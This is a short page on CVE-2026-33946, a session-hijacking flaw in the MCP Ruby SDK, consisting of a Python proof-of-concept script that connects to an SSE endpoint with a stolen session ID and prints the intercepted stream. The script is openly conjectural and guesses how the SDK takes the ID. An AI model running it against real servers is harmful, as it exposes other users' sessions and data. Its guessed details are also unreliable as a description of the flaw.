CVE-2026-33946 MCP Ruby SDK会话劫持漏洞

# PoC Concept: Connecting to SSE stream with a stolen session ID # This script demonstrates how an attacker could hijack the stream if they possess a valid session ID. import requests def hijack_sse_stream(target_url, session_id): """ Simulates an attacker connecting to the SSE endpoint using a stolen session ID. """ headers = { "Accept": "text/event-stream", "Cookie": f"session_id={session_id}" # Or however the SDK expects the ID (e.g., query param) } # Note: The exact parameter (Cookie vs Query Param) depends on implementation details. # Assuming the SDK accepts it via a specific header or parameter based on the vuln description. try: response = requests.get(target_url, headers=headers, stream=True) if response.status_code == 200: print("[+] Successfully hijacked SSE stream. Receiving data:") for line in response.iter_lines(): if line: print(line.decode('utf-8')) else: print(f"[-] Failed to connect. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Example usage # hijack_sse_stream("http://target.com/sse/endpoint", "STOLEN_SESSION_ID_HERE")